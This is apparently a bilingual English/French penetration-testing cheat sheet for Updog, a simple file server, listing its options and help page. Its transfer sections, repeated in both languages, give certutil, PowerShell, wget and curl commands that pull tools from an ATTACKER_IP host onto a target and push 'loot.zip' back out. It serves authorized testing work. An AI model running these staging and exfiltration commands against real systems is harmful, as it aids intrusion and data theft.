Updog

Serveur HTTP/S simple pour le partage rapide de fichiers lors des missions. Supporte upload et download avec authentification optionnelle. Simple HTTP/S server for quick file sharing during engagements. Supports upload and download with optional authentication.

↗ https://github.com/sc0tfree/updog

Overview

Updog is a replacement for Python’s http.server with upload support, HTTPS, and optional password authentication. It’s the fastest way to stand up a file server during an engagement.

Common Usage

Serve current directory on port 9090

updog

Serve specific directory

updog -d /opt/tools/

Custom port

updog -p 8888

With password authentication

updog --password secretpass

HTTPS (self-signed cert auto-generated)

updog --ssl

Custom port with SSL and auth

updog -p 443 --ssl --password mypass

Transferring Files to Target

# Windows (PowerShell)
Invoke-WebRequest -Uri http://<ATTACKER_IP>:9090/tool.exe -OutFile C:\Windows\Temp\tool.exe
certutil.exe -urlcache -split -f http://<ATTACKER_IP>:9090/tool.exe C:\Temp\tool.exe

# Linux
wget http://<ATTACKER_IP>:9090/tool
curl http://<ATTACKER_IP>:9090/tool -o tool

Uploading Files from Target

Updog supports file uploads via its web UI — navigate to http://<ATTACKER_IP>:9090 in a browser, or use curl:

curl -F "file=@loot.zip" http://<ATTACKER_IP>:9090/
Help / Man page
updog [options]

OPTIONS:
  -d PATH       Directory to serve (default: current directory)
  -p PORT       Port to listen on (default: 9090)
  --password    Password for authentication (HTTP Basic)
  --ssl         Enable HTTPS (auto-generates self-signed cert)
  --version     Show version

DEFAULTS:
  Listens on:  0.0.0.0:9090
  Serves:      Current working directory
  Uploads:     Enabled (uploaded to served directory)
  Auth:        None

ACCESS:
  Browser:     http://<IP>:9090
  Download:    http://<IP>:9090/filename
  Upload:      POST to http://<IP>:9090 with file form field

Vue d’ensemble

Updog remplace le http.server de Python avec le support des uploads, HTTPS et une authentification optionnelle par mot de passe. C’est la façon la plus rapide de monter un serveur de fichiers lors d’une mission.

Utilisation courante

# Servir le répertoire courant sur le port 9090
updog

# Servir un répertoire spécifique
updog -d /opt/tools/

# Port personnalisé
updog -p 8888

# Avec authentification par mot de passe
updog --password secretpass

# HTTPS (certificat auto-signé généré automatiquement)
updog --ssl

# Port personnalisé avec SSL et authentification
updog -p 443 --ssl --password mypass

Transfert de fichiers vers la cible

# Windows (PowerShell)
Invoke-WebRequest -Uri http://<ATTACKER_IP>:9090/tool.exe -OutFile C:\Windows\Temp\tool.exe
certutil.exe -urlcache -split -f http://<ATTACKER_IP>:9090/tool.exe C:\Temp\tool.exe

# Linux
wget http://<ATTACKER_IP>:9090/tool
curl http://<ATTACKER_IP>:9090/tool -o tool

Upload de fichiers depuis la cible

Updog supporte les uploads de fichiers via son interface web : naviguer vers http://<ATTACKER_IP>:9090 dans un navigateur, ou utiliser curl :

curl -F "file=@loot.zip" http://<ATTACKER_IP>:9090/
Aide / Page de manuel
updog [options]

OPTIONS:
  -d PATH       Directory to serve (default: current directory)
  -p PORT       Port to listen on (default: 9090)
  --password    Password for authentication (HTTP Basic)
  --ssl         Enable HTTPS (auto-generates self-signed cert)
  --version     Show version

DEFAULTS:
  Listens on:  0.0.0.0:9090
  Serves:      Current working directory
  Uploads:     Enabled (uploaded to served directory)
  Auth:        None

ACCESS:
  Browser:     http://<IP>:9090
  Download:    http://<IP>:9090/filename
  Upload:      POST to http://<IP>:9090 with file form field